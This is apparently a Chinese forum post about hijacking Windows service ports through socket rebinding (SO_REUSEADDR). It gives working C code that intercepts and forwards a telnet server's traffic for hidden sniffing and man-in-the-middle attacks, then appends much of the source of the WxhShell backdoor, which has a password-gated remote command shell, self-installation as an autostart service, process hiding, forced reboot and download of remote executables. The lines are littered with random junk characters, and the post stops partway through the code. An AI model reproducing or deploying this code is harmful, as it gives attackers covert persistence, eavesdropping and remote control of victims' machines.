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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: VQG  /g\  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Q%AS ;(d  
9^C!,A{u4  
  saddr.sin_family = AF_INET; EkgN6S`}  
!,-qn)b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )n3bi QL_  
~; O= 7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Fm[?@Z&wP  
oN1wrf}Sh  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [u9S+:7"  
-c<1H)W  
  这意味着什么?意味着可以进行如下的攻击: Tr}$Pb1  
7Hr4yh[j&  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Ig?.*j ]  
XM5;AcD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WSpg(\Cs  
[#3Cg%V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 );/5#b@<Y  
;Cp/2A}Xx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Spr:K,  
ekk&TTp#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oE|{|27X  
scPq\Qd?O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 iHG:W wM&  
VkP:%-*#v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %N_S/V0`  
|yl0}. ()  
  #include 8Q)mmkI\=  
  #include g9r5t';  
  #include wGQhr="  
  #include    Z=/L6Zb  
  DWORD WINAPI ClientThread(LPVOID lpParam);   f6_|dvY3  
  int main() :z,vJ~PW  
  { YvP"W/5  
  WORD wVersionRequested; HEfA c  
  DWORD ret; ,;ruH^  
  WSADATA wsaData; OaCj3d>  
  BOOL val; ,tv9+n@x  
  SOCKADDR_IN saddr; L4A/7Ep  
  SOCKADDR_IN scaddr; 02 c.;ka3  
  int err; G|Yp <W%o  
  SOCKET s; _R<V8g1f  
  SOCKET sc; TboHP/  
  int caddsize; `q{'_\gVt(  
  HANDLE mt; &T/9y W[L  
  DWORD tid;   f+88R=-u6S  
  wVersionRequested = MAKEWORD( 2, 2 ); wk <~Y 3u  
  err = WSAStartup( wVersionRequested, &wsaData ); wT AEJ{p  
  if ( err != 0 ) { `&Of82*w  
  printf("error!WSAStartup failed!\n"); Pv$"DEXA2  
  return -1; % |Gzht\  
  } J<:D~@qq  
  saddr.sin_family = AF_INET; 8_,wOkk_B  
   uXW. (x7"f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~Wd8>a{w  
C]cT*B^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); i@?<]n  
  saddr.sin_port = htons(23); XK9*,WA9r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +O:pZz  
  { h] TVi$J  
  printf("error!socket failed!\n"); %1d6j<7  
  return -1; 2 ]6u B e  
  } Y%cA2V\#m  
  val = TRUE; uC ;PP=z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zgOwSg8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0_Z|y/I.  
  { M#<fh:>  
  printf("error!setsockopt failed!\n"); &XTd[_VW!  
  return -1; @9P9U`ZP  
  } FNRE_83  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;xC~{O  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T7nX8{l[RG  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 pY5HW2TsY|  
BJ2W }R  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wq`Kyhk  
  { _@?Jx/`;bk  
  ret=GetLastError(); 8pt<)Rs}  
  printf("error!bind failed!\n"); [4yQbqe;  
  return -1; X51$5%  
  } m&c(N  
  listen(s,2); zC;lfy{f=  
  while(1) $6%;mep  
  { k(Xv&Zn  
  caddsize = sizeof(scaddr); 5!fW&OiY  
  //接受连接请求 @a3v[}c*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X.5LB!I)  
  if(sc!=INVALID_SOCKET) X,CF Y  
  { 3`8xh 9O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y{P9k8v!z  
  if(mt==NULL) _qNLy/AY  
  { k}qiIMdI  
  printf("Thread Creat Failed!\n"); ZO$T/GE6%  
  break; V2skr_1  
  } 6;V 1PK>9  
  } rmJ847%y`  
  CloseHandle(mt); >7Q7H#~w  
  } ?MB nnyo6  
  closesocket(s); ,6pH *b $  
  WSACleanup(); M&-/ &>n!  
  return 0; W4Q]<<6&  
  }   =_3qUcOP  
  DWORD WINAPI ClientThread(LPVOID lpParam) ^Z+D7Q  
  { nmrk-#._@9  
  SOCKET ss = (SOCKET)lpParam; uS,$P34^oy  
  SOCKET sc; bd}SB-D  
  unsigned char buf[4096]; #C}(7{Vt  
  SOCKADDR_IN saddr;  #0H[RU?  
  long num; ;wB  3H  
  DWORD val; @U5>w\  
  DWORD ret; W{aNS@1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A[a+,TN {  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (DAJ(r~  
  saddr.sin_family = AF_INET; PCjY,O  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); pQ8+T|0x  
  saddr.sin_port = htons(23); #IDCCD^1=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gvYs<,:  
  { 2_v>8B  
  printf("error!socket failed!\n"); R0'EoX  
  return -1; 3J<,2  
  } l0)uu4|  
  val = 100; P#PQ4uK \  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Eq{TZV  
  { :B~c>:  
  ret = GetLastError(); \f#ao<vQm  
  return -1; lX3h'h  
  } pM3BBF%  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O6]~5&8U.  
  { AF6'JxG7  
  ret = GetLastError(); (z7#KJ1+Aw  
  return -1; Y2n*T KXI,  
  } _!zY(9%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ^cm^JyS)  
  { d .A0(*k,  
  printf("error!socket connect failed!\n"); $}fA;BP  
  closesocket(sc); 4aC#Cv:0  
  closesocket(ss); pJ[Q.QxU  
  return -1; A$cbH.  
  } (6nw8vQ  
  while(1) L_,U*Jyo  
  { *b EsWeP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "RLb wm~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'S" F=)*-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cht#~d  
  num = recv(ss,buf,4096,0); s9iM hCu|  
  if(num>0) kns]P<g  
  send(sc,buf,num,0); VzesqVx  
  else if(num==0) o6 /?WR9  
  break; ]_s]Q_+E  
  num = recv(sc,buf,4096,0); lS^0*(Y  
  if(num>0) XJ;/ kR  
  send(ss,buf,num,0); PW}.`  
  else if(num==0) PJ{.jWwD  
  break; $4&Ql  
  } hlRE\YO&8R  
  closesocket(ss); n[@Ur2&)  
  closesocket(sc); {\B!Rjt[T  
  return 0 ; 7F.,Xvw&@  
  } Ty=}A MMyE  
*D,T}N  
jKzj Tn9{E  
========================================================== Nu'rn*Y_  
F r~xN!  
下边附上一个代码,,WXhSHELL YdFCYSiS  
_bX)fnUu  
========================================================== -LyIu#  
>qE$:V "_5  
#include "stdafx.h" nV,a|V5Xm  
:O7J9K|  
#include <stdio.h> tVOx  
#include <string.h> D)Zv  
#include <windows.h> wQ5__"D  
#include <winsock2.h> Oe$C5KA>LW  
#include <winsvc.h> |s:!LU&OL\  
#include <urlmon.h> zSu2B6YU}  
'Gk|&^  
#pragma comment (lib, "Ws2_32.lib") 0PN{ +<? .  
#pragma comment (lib, "urlmon.lib") PJ'l:IU  
L,i-T:Z~=  
#define MAX_USER   100 // 最大客户端连接数 yxH[uJpb  
#define BUF_SOCK   200 // sock buffer ?^dyQhb  
#define KEY_BUFF   255 // 输入 buffer iY="M_kQ_  
| !Knd ^}  
#define REBOOT     0   // 重启 VD4(  
#define SHUTDOWN   1   // 关机 9I,Trk@&  
COap*  
#define DEF_PORT   5000 // 监听端口 QZX+E   
*`kh}  
#define REG_LEN     16   // 注册表键长度 O_ ~\$b  
#define SVC_LEN     80   // NT服务名长度 -{dw Ll_  
l{<@[foc  
// 从dll定义API Y9ru~&/o$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /wQDcz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (UCWSA7oc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #}.db?[Rv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Na4\)({  
gD-<^Q-  
// wxhshell配置信息 .mMM]*e[0  
struct WSCFG { MZ0 J/@(  
  int ws_port;         // 监听端口 #jQITS7  
  char ws_passstr[REG_LEN]; // 口令 p &A3l  
  int ws_autoins;       // 安装标记, 1=yes 0=no u BvN*LQ  
  char ws_regname[REG_LEN]; // 注册表键名 _T1|_9b  
  char ws_svcname[REG_LEN]; // 服务名  0y?bwxkc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &T{+B:*v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s q_ f[!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vForj*Xo  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $. Ih-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W_%Dg]l   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BPW2WSm@<  
lwSA!W  
}; kIyif7  
L+&$/1h]  
// default Wxhshell configuration "~XAD(T6  
struct WSCFG wscfg={DEF_PORT, H8X{!/,^  
    "xuhuanlingzhe", s~3"*,3@  
    1, *&XOzaVU  
    "Wxhshell", MGK%F#PM  
    "Wxhshell", Q/I/>6M7UZ  
            "WxhShell Service", fTMn  
    "Wrsky Windows CmdShell Service", y-9Mm9J  
    "Please Input Your Password: ", "_W[X  
  1, ?|kwYA$4o  
  "http://www.wrsky.com/wxhshell.exe", 9J*.'Y  
  "Wxhshell.exe" + JsMYv  
    }; ';Y0qitGB  
F P3{Rp  
// 消息定义模块 |cs]98FEf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <v%Q|r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z#m ~}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~m3Q^ue  
char *msg_ws_ext="\n\rExit."; K|]/BjB/  
char *msg_ws_end="\n\rQuit."; $i1$nc8  
char *msg_ws_boot="\n\rReboot..."; B 1je Ik,  
char *msg_ws_poff="\n\rShutdown..."; fS?}(7  
char *msg_ws_down="\n\rSave to "; H}?"2jF  
GCZx-zD~>  
char *msg_ws_err="\n\rErr!"; xa8;"Y~"bg  
char *msg_ws_ok="\n\rOK!"; E6XDn`:  
IK1'" S|  
char ExeFile[MAX_PATH]; Ym%XCl  
int nUser = 0; o, PpD,,  
HANDLE handles[MAX_USER]; 52ExRG S  
int OsIsNt; MQ#k`b#()  
2ca#@??R  
SERVICE_STATUS       serviceStatus; pmRm&VgE.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Wz%H?m:g#  
(1 (~r"4I  
// 函数声明 6%it`A8}  
int Install(void); BMug7xl"  
int Uninstall(void); uP G\1  
int DownloadFile(char *sURL, SOCKET wsh); 0 30LT$&!  
int Boot(int flag); Qo32oT[DM  
void HideProc(void); DSQ2|{   
int GetOsVer(void); 1*" 7q9x  
int Wxhshell(SOCKET wsl); /%g+|C  
void TalkWithClient(void *cs); A3)"+`&PUl  
int CmdShell(SOCKET sock); eSQkW  
int StartFromService(void); =^1jVaAL  
int StartWxhshell(LPSTR lpCmdLine); {]2^b)  
O uNPDq%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9U8x&Z]P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z%S$~^=b  
BmKf%:l}  
// 数据结构和表定义 yDfH`]i)U  
SERVICE_TABLE_ENTRY DispatchTable[] = #9gx4U  
{ >TMd1? ,  
{wscfg.ws_svcname, NTServiceMain}, @Ddz|4vEi  
{NULL, NULL} !KMl'kswe:  
}; U0t|i'Hx  
q8_(P&  
// 自我安装 A|GtF3:G  
int Install(void) TG[u3 Y4  
{ Da615d  
  char svExeFile[MAX_PATH]; EjL]#,QR  
  HKEY key; )by7 [I0v  
  strcpy(svExeFile,ExeFile); ~5'7u-;  
y_X jY  
// 如果是win9x系统,修改注册表设为自启动 E447'aJ  
if(!OsIsNt) { +N=HI1^54R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }[Z'Sg]s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gu3iaM$W  
  RegCloseKey(key); PJiU2Y33  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4^uSW&`;/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XHekz6_  
  RegCloseKey(key); )i}j\";>L  
  return 0; =B9-}]DDO  
    } GQ;0KIN  
  } O`c+y  
} M2Jf-2  
else { Ez;Qo8  
gzIx!sc  
// 如果是NT以上系统,安装为系统服务 lhKn&U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LP6 p  
if (schSCManager!=0) SK lvZ  
{ ao2^3e  
  SC_HANDLE schService = CreateService ,U3  
  ( pASX-rb  
  schSCManager, *{3d+j/?/  
  wscfg.ws_svcname, R3~,&ab  
  wscfg.ws_svcdisp, sFc\L94  
  SERVICE_ALL_ACCESS, zMR)w77  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5E\.YqdV  
  SERVICE_AUTO_START, eAfi!!Z<  
  SERVICE_ERROR_NORMAL,  !BsQJ_H  
  svExeFile, P9/ (f$=  
  NULL, ^O18\a  
  NULL, kJJT`Ba&/  
  NULL, bZ\R0[0  
  NULL, dymq Z<  
  NULL LH5Z@*0#  
  ); e0TYHr)X>3  
  if (schService!=0) KLyRb0V  
  { {V6&((E8  
  CloseServiceHandle(schService); 'OsZD?W{  
  CloseServiceHandle(schSCManager); 17 Ugz?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t(u2%R4<d  
  strcat(svExeFile,wscfg.ws_svcname); VBX)xQazU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r[S(VPo[()  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B&]`OO>O  
  RegCloseKey(key); \rS*\g:i  
  return 0; N1$u@P{  
    } ib=)N)l  
  } zMsup4cl  
  CloseServiceHandle(schSCManager); jr=9.=jI8k  
} "+(|]q"W  
} Az&>.*  
eFG/!b<17  
return 1; fpR|+`k  
} :W.H#@'(  
C[L 5H  
// 自我卸载 J$#T_4 )  
int Uninstall(void) ~*HQPp?v  
{ ON,[!pc  
  HKEY key; qYK^S4L  
YnEyL2SuU  
if(!OsIsNt) { y b hFDx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rtj/&>  
  RegDeleteValue(key,wscfg.ws_regname); dKzG,/1W[m  
  RegCloseKey(key); }J#HIE\RG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _4by3?<c  
  RegDeleteValue(key,wscfg.ws_regname); 1}d F,e  
  RegCloseKey(key); #_DpiiS,.Q  
  return 0; P T;{U<5  
  } EpS/"adI-!  
} t]h_w7!U  
} o%_-u +  
else {  NNt n  
w!m4>w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); tx09B)0  
if (schSCManager!=0) ),x0G*oebj  
{ `i`P}W!F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); y!b"Cj  
  if (schService!=0) SY,ns*>1F  
  { NfoHQU <n  
  if(DeleteService(schService)!=0) { Va?]:Q  
  CloseServiceHandle(schService); %r^tZ;; l  
  CloseServiceHandle(schSCManager); 5gf ~/Zr  
  return 0; q /JC\  
  } Ae2N"%Ej  
  CloseServiceHandle(schService); /4;mjE  
  } F$UL.`X _/  
  CloseServiceHandle(schSCManager); -C2!`/U  
} |b\a)1Po:  
} Ce+:9}[  
Yi9Y`~J  
return 1; [[[C`H@  
} ;r@=[h   
CbZ;gjgY*  
// 从指定url下载文件 zfop-qDOc  
int DownloadFile(char *sURL, SOCKET wsh) + E{[j  
{ CzlG#?kU?2  
  HRESULT hr; Z` kVyuQ  
char seps[]= "/"; NnAIL;WS  
char *token; Ar)EbGId  
char *file; @;O"-7Kk  
char myURL[MAX_PATH]; VP!4Nob  
char myFILE[MAX_PATH]; yV`Tw"p  
XVN JK-B  
strcpy(myURL,sURL); *$O5.`]  
  token=strtok(myURL,seps); 5@RcAQb:  
  while(token!=NULL) Ko&4{}/  
  { w<~[ad}  
    file=token; GJWGT`"  
  token=strtok(NULL,seps); `a52{Wa  
  } o~'p&f  
j3&q?1  
GetCurrentDirectory(MAX_PATH,myFILE); Q&0`(okb  
strcat(myFILE, "\\"); </kuJh\  
strcat(myFILE, file); Y-8BL  
  send(wsh,myFILE,strlen(myFILE),0); |fyzb=Lg  
send(wsh,"...",3,0); ^/2HH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >&\.{ aj  
  if(hr==S_OK) Y*#xo7#B  
return 0; >NPK;Vu  
else 9Tr ceL;  
return 1; /*;a6S8q  
5=*i!c _m  
} wdt2T8`I/  
&bq1n_  
// 系统电源模块 HPu+ 4xQV  
int Boot(int flag) l1kHFeq  
{ }Tk:?U{  
  HANDLE hToken; 8 a)4>B  
  TOKEN_PRIVILEGES tkp; ]O}e{Q>  
%h(%M'm?  
  if(OsIsNt) { hlre eXv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NA$)qX_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _"x%s  
    tkp.PrivilegeCount = 1; UUDbOxD^w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /":/DwI'   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sMAj?]hI$  
if(flag==REBOOT) { &0f/F:M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F3vywN1$,  
  return 0; 59$PWfi-\  
} I*j~5fsS'  
else { gFuK/]gzI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L8n?F#q  
  return 0; UhDf6A`]  
} "*/IP9?]  
  } *jQ$\|Y  
  else { Ax\d{0/oL2  
if(flag==REBOOT) { LmyaC2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m+8:_0x "  
  return 0; 4$, W\d  
} [z\baL|  
else { WI| -pzg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lvODhoT  
  return 0; Z" H;t\P  
} UAz^P6iQ`~  
} {S+?n[1r\  
%Iflf]l  
return 1; jmgkY)rb R  
} XPf{R619  
'hWA&Xx +  
// win9x进程隐藏模块 _(?`eWo  
void HideProc(void) _#v"sGmN  
{ b{-"GqMO  
#J3}H   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AfhJ6cSIE  
  if ( hKernel != NULL ) [ *It' J^  
  { 2<OU)rVE4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0+1!-Wo  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L?;UcCB  
    FreeLibrary(hKernel); ZY7-.  
  } ]!!?gnPd5  
E0VAhN3G\  
return; N2 3:+u<)E  
} wmVb0~[  
&d6ud |  
// 获取操作系统版本 h*y+qk-!\g  
int GetOsVer(void) Q1|6;4L  
{ B_[I/ ?  
  OSVERSIONINFO winfo; i)(G0/:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?5ZvvAi  
  GetVersionEx(&winfo); zRLJ|ejMP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ipMSMk7gx  
  return 1; RFS} !_t+|  
  else 'l!\2Wv2  
  return 0; b"#S92R+  
} Xl2g Hh  
|6?s?tC"u  
// 客户端句柄模块 bWb/>hI8 Q  
int Wxhshell(SOCKET wsl) nG5\vj,zB  
{ Bi;a~qE  
  SOCKET wsh; bcT_YFLQ  
  struct sockaddr_in client; ??B!UXi4R  
  DWORD myID; tvVf)bbz  
w0nbL^f  
  while(nUser<MAX_USER) HH6H4K3Zj  
{ bG"FN/vg  
  int nSize=sizeof(client); r6Vw!^]8u8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1TA!9cz0Z  
  if(wsh==INVALID_SOCKET) return 1; [ R8BcO(  
A0A|cJP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^Lfwoy7R  
if(handles[nUser]==0) ,%x2SyA  
  closesocket(wsh); 9'~qA(=.?  
else .WN&]yr,  
  nUser++; &-^*D%9  
  } ?(B}w*G~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OA9 P"*  
hmLI9TUe6  
  return 0; +&f_k@+  
} Yyd}>+|<,  
Cpd>xXZz&S  
// 关闭 socket : Gi8Jo  
void CloseIt(SOCKET wsh) am.d^'  
{ H*0g*(  
closesocket(wsh); S3U]AH)C  
nUser--; # Dgkl  
ExitThread(0); qR2cRepV  
} ,mCf{V]#  
`aX+Gz?  
// 客户端请求句柄 RYC%;h  
void TalkWithClient(void *cs) /i@.Xg@:  
{ 0]DX KI  
=M@)q y  
  SOCKET wsh=(SOCKET)cs; t W   
  char pwd[SVC_LEN]; `'r]Oe  
  char cmd[KEY_BUFF]; KdHkX+-R  
char chr[1]; lc fAb@}2  
int i,j; 3 Z SU^v  
CP"5E?dcK  
  while (nUser < MAX_USER) { ~PF,[$?4n  
:Zq?V`+M  
if(wscfg.ws_passstr) { ~/SLGyu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {#z47Rz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jq>5:"jZ0  
  //ZeroMemory(pwd,KEY_BUFF); IWN18aaL?  
      i=0; @*op5qVw  
  while(i<SVC_LEN) { &2@Rc?!6_P  
~^Ga?Q_  
  // 设置超时 Te)%L*X  
  fd_set FdRead; d@Bd*iI<  
  struct timeval TimeOut; Bgsi$2hI  
  FD_ZERO(&FdRead); l_ x jsu  
  FD_SET(wsh,&FdRead); n~w[ajC/  
  TimeOut.tv_sec=8; =-P<v2|e  
  TimeOut.tv_usec=0; E){ODyk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MbTmdRf  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); NgxJz ]b  
\Z~@/OVc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M M @&QaK  
  pwd=chr[0]; 3dtL[aVwY  
  if(chr[0]==0xd || chr[0]==0xa) { "x_G6JE4tv  
  pwd=0; cZ.p  
  break; #.}&6ZP  
  } G-o6~"J\  
  i++; kOel !A  
    } KmD#Ia  
gIGi7x  
  // 如果是非法用户,关闭 socket +rrA>~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a(`"qS  
} [-)BI|S:  
v)zxQuH]^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ="g9>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _*t75e$-  
3?&P^{  
while(1) { W{}M${6&  
lb}:! Y  
  ZeroMemory(cmd,KEY_BUFF); gPpk0LZi  
Ivq|-LDNc  
      // 自动支持客户端 telnet标准   }qhND-9#@  
  j=0; P$/Y9o  
  while(j<KEY_BUFF) { (. $e@k=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _tnoq;X[  
  cmd[j]=chr[0]; |[/XG2S  
  if(chr[0]==0xa || chr[0]==0xd) { }%,LV]rGEZ  
  cmd[j]=0; ]#FQde4]5  
  break; ;l@Ge`&u  
  } 6ZC~q=my  
  j++; Gkdxw uRw  
    } m]VOw)mBF  
5%fR9?)  
  // 下载文件 uHt@;$9A  
  if(strstr(cmd,"http://")) { ~2XiKY;W?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;'4Kg@/  
  if(DownloadFile(cmd,wsh)) P[P]oT.N  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RWGAxq`9f  
  else /8>we`4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M9(Kxux#  
  } +Jq~39  
  else { >% E=l  
<d3 a  
    switch(cmd[0]) { 6[]O3Aa  
  o5w =  
  // 帮助 hh^_Z| 5  
  case '?': { w `>g^_xsg  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P)06<n1">Z  
    break; t&(\A,ch%  
  } N8`q.;qewz  
  // 安装 ju/#V}N  
  case 'i': { l]geQl:7`r  
    if(Install()) ;#dzw!+Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RV6|sN[x>  
    else (!diPwcv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m)xz_Plc  
    break; A!_yZ|)$ T  
    } ap.L=vn  
  // 卸载 ]=sGLd^)E  
  case 'r': { Wg=4`&F^  
    if(Uninstall()) Ccy0!re  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [hKt4]R  
    else Ku]<$uo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .^!uazPE0  
    break; j{H,{x  
    } M[5fNK&nD  
  // 显示 wxhshell 所在路径 uBxs`'C  
  case 'p': { 7! #34ue  
    char svExeFile[MAX_PATH]; iVf8M$!m  
    strcpy(svExeFile,"\n\r"); >I *uo.OF  
      strcat(svExeFile,ExeFile); 0D^c4[Y'l  
        send(wsh,svExeFile,strlen(svExeFile),0); pq<2:F:Kl  
    break; 4j-%I7  
    } MDOP2y`2i  
  // 重启 tLe"i>  
  case 'b': { bRK[u\,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fk?(mxx"  
    if(Boot(REBOOT)) WxF0LhM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g7<u eF  
    else { oh^QW`#(  
    closesocket(wsh); S"Mm_<A$@  
    ExitThread(0); CC{{@  
    } 8/+x1,S%  
